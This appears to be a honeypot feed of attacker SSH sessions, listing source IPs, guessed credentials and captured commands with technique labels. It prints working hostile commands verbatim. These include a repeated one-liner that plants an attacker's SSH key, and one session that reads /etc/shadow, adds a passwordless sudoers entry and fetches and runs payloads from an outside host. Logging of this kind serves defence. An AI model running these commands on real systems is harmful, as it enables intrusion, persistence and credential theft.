$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 shadow_sol_7 (186.30.115.187) β€” BogotΓ‘, Colombia Β· 1 session Β· 2 cmds
2026-04-04 22:41 EDT Β· as oracle/Welcome1
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 burger_root_9 (164.90.157.6) β€” Santa Clara, United States Β· 1 session Β· 2 cmds
2026-04-04 22:39 EDT Β· as oracle/Welcome1
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 liberty_root_15 (192.3.130.87) β€” Elk Grove Village, United States Β· 1 session Β· 2 cmds
2026-04-04 22:28 EDT Β· as oracle/Welcome1
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 dutch_root_8 (147.45.50.81) β€” Amsterdam, The Netherlands Β· 1 session Β· 2 cmds
2026-04-04 16:17 EDT Β· as oracle/oracle10!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_39 (83.118.24.18) β€” Chatuchak subdistrict, Thailand Β· 1 session Β· 2 cmds
2026-04-04 14:40 EDT Β· as oracle/Oracle26!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_40 (85.192.37.109) β€” Helsinki, Finland Β· 4 sessions Β· 4 cmds
2026-04-04 13:58 EDT Β· as deploy/deploy123, oracle/!QAZ@wsx, oracle/qwe123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—4
🎭 specter_root_4 (160.187.229.189) β€” Hanoi, Vietnam Β· 27 sessions Β· 27 cmds
2026-04-04 12:36 EDT Β· as admin/123456, admin/admin123, admin/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—27
🎭 seoul_root_10 (14.63.217.28) β€” Seongnam-si, South Korea Β· 1 session Β· 2 cmds
2026-04-04 13:58 EDT Β· as oracle/Oracle03!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 gouda_root_9 (212.87.220.74) β€” Dronten, Netherlands Β· 1 session Β· 2 cmds
2026-04-04 13:18 EDT Β· as oracle/Oracle10!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_sol (206.123.145.55) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-04-04 11:04 EDT Β· as oracle/qazwsxedc2
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 shogun_root_2 (132.145.115.202) β€” Tokyo, Japan Β· 1 session Β· 1 cmd
2026-04-04 10:24 EDT Β· as postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_68 (95.39.82.218) β€” Madrid, Spain Β· 1 session Β· 2 cmds
2026-04-04 09:46 EDT Β· as oracle/oracle!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 hanbok_root_7 (121.142.87.218) β€” Gimpo-si, South Korea Β· 1 session Β· 2 cmds
2026-04-04 09:14 EDT Β· as oracle/oracle24!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 seoul_root_11 (59.23.3.146) β€” Gumi, South Korea Β· 1 session Β· 1 cmd
2026-04-04 07:45 EDT Β· as pi/pi
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 cipher_root_63 (207.46.224.87) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-04 07:37 EDT Β· as root/123456
ssh
$ ssh -V
🎭 capoeira_root_7 (201.77.124.248) β€” SumarΓ©, Brazil Β· 1 session Β· 2 cmds
2026-04-04 07:26 EDT Β· as oracle/oracle26!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 panda_root_19 (115.120.86.156) β€” Shanghai, China Β· 1 session Β· 1 cmd
2026-04-04 06:19 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_17 (81.30.162.19) β€” Vinnytsia, Ukraine Β· 1 session Β· 2 cmds
2026-04-04 06:15 EDT Β· as oracle/oracle21!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_64 (45.10.175.246) β€” Chai Wan, Hong Kong Β· 2 sessions Β· 2 cmds
2026-04-04 04:51 EDT Β· as oracle/oracle, pi/raspberry
Ran uname 21x across 21 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—2
🎭 cowboy_root_14 (72.79.42.117) β€” Springfield, United States Β· 1 session Β· 2 cmds
2026-04-03 23:45 EDT Β· as oracle/oracle1@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 fog_root_10 (87.106.35.227) β€” Worcester, United Kingdom Β· 1 session Β· 2 cmds
2026-04-03 23:08 EDT Β· as oracle/oracle11
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 maple_root (174.115.146.36) β€” Ottawa, Canada Β· 1 session Β· 1 cmd
2026-04-03 23:08 EDT Β· as oracle/oracle
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 bibimbap_root_4 (222.119.187.99) β€” Geumjeong-gu, South Korea Β· 1 session Β· 9 cmds
2026-04-03 22:09 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 lantern_root_22 (106.13.85.199) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-03 19:40 EDT Β· as mysql/mysql
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 shadow_root_43 (179.43.186.241) β€” RΓΌmlang, Switzerland Β· 3 sessions Β· 3 cmds
2026-04-03 05:29 EDT Β· as root/admin, root/password, root/root
privilege check
$ id Γ—3
↳ privilege check
🎭 jade_root_14 (120.48.102.177) β€” Beijing, China Β· 1 session Β· 2 cmds
2026-04-03 15:00 EDT Β· as oracle/Oracle17
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_51 (14.241.100.20) β€” Da Nang, Vietnam Β· 1 session Β· 9 cmds
2026-04-03 12:39 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 chateau_root_3 (89.168.34.129) β€” Paris, France Β· 1 session Β· 9 cmds
2026-04-03 11:59 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 wok_root_30 (118.196.27.115) β€” Haidian, China Β· 1 session Β· 1 cmd
2026-04-03 09:47 EDT Β· as user/user
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 lotus_root_10 (159.65.144.167) β€” Bengaluru, India Β· 1 session Β· 1 cmd
2026-04-03 01:36 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a;id;cat /etc/shadow /etc/passwd;lscpu;echo 'daemon ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;chsh -s /bin/sh daemon;echo Password123 |passwd daemon --stdin;mkdir ~/.ssh;chattr -ia ~/.ssh/* ~/.ssh;wget http://103.56.149.224/cacti/ns1.jpg -O ~/.ssh/authorized_keys;chmod 600 ~/.ssh/authorized_keys;chmod 700 ~/ ~/.ssh;wget http://103.56.149.224/cacti/ns3.jpg -O /tmp/x;chmod +x /tmp/x;/tmp/x;mv /tmp/x /tmp/o;/tmp/o;rm -f /tmp/o;mkdir /sbin/.ssh;cp ~/.ssh/authorized_keys /sbin/.ssh;chown daemon.daemon /sbin/.ssh /sbin/.ssh/*;chmod 700 /sbin/.ssh;chmod 600 /sbin/.ssh/authorized_keys;wget http://103.56.149.224/cacti/oto -O /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;curl http://103.56.149.224/cacti/oto -o /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;rm -f /tmp/oto
↳ password hash extraction
🎭 hanbok_root_8 (175.206.113.91) β€” Wŏnju, South Korea Β· 1 session Β· 1 cmd
2026-04-02 22:40 EDT Β· as deploy/deploy
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 yankee_sol_8 (165.245.169.70) β€” Broomfield, United States Β· 1 session Β· 1 cmd
2026-04-02 18:27 EDT Β· as validator/validator
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
↳ obfuscated system check
🎭 windmill_root_4 (178.16.54.95) β€” Amsterdam, Netherlands Β· 15 sessions Β· 60 cmds
2026-03-28 03:23 EDT Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—15
$ uname -s -v -n -m 2 > /dev/null Γ—15
$ uname -m 2 > /dev/null Γ—15
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—15
🎭 rogue_root_40 (207.46.224.82) β€” Singapore, Singapore Β· 3 sessions Β· 3 cmds
2026-04-02 09:00 EDT Β· as root/1234, root/123456, root/12345678
ps β†’ history snooping β†’ ssh (repeated ssh 3x)
$ ps aux | head -10
$ history | tail -5
↳ history snooping
$ ssh -V
🎭 blitz_sol (130.12.181.107) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-04-02 07:07 EDT Β· as oracle/ABC123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 kimchi_root_6 (211.196.83.100) β€” Seongbuk-gu, South Korea Β· 1 session Β· 9 cmds
2026-04-02 02:27 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 specter_root (206.123.145.72) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-04-01 23:42 EDT Β· as oracle/Qaz@2134
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 eagle_root (159.65.220.10) β€” North Bergen, United States Β· 35 sessions Β· 35 cmds
2026-04-01 16:22 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 strudel_sol_2 (130.12.181.105) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-04-01 16:18 EDT Β· as oracle/passwd123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 rogue_sol_2 (206.123.145.73) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-31 22:15 EDT Β· as oracle/qweasdrf196
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 liberty_sol_5 (57.151.137.34) β€” Cheyenne, United States Β· 3 sessions Β· 3 cmds
2026-03-31 13:16 EDT Β· as root/admin123, root/qwerty, root/root
ssh β†’ pwd β†’ OS/kernel identification
$ ssh -V
$ pwd
$ uname -a
↳ OS/kernel identification
🎭 star_sol_4 (4.246.135.70) β€” Boydton, United States Β· 1 session Β· 1 cmd
2026-03-31 15:00 EDT Β· as root/password
hostname discovery
$ hostname
↳ hostname discovery
🎭 cowboy_sol_7 (4.246.135.69) β€” Boydton, United States Β· 7 sessions Β· 8 cmds
2026-03-31 12:38 EDT Β· as root/1234, root/12345678, root/admin123
nproc/cpuinfo enumeration β†’ hostname verification β†’ history inspection β†’ uname -a OS fingerprinting β†’ / filesystem audit β†’ model name extraction for hardware profiling
$ nproc 2>/dev/null || (grep -c '^processor' /proc/cpuinfo 2>/dev/null) || echo 0
$ grep -c ^processor /proc/cpuinfo 2 > /dev/null
$ history | tail -5
↳ history snooping
$ hostname Γ—2
↳ hostname discovery
$ ls -la /
$ uname -a
↳ OS/kernel identification
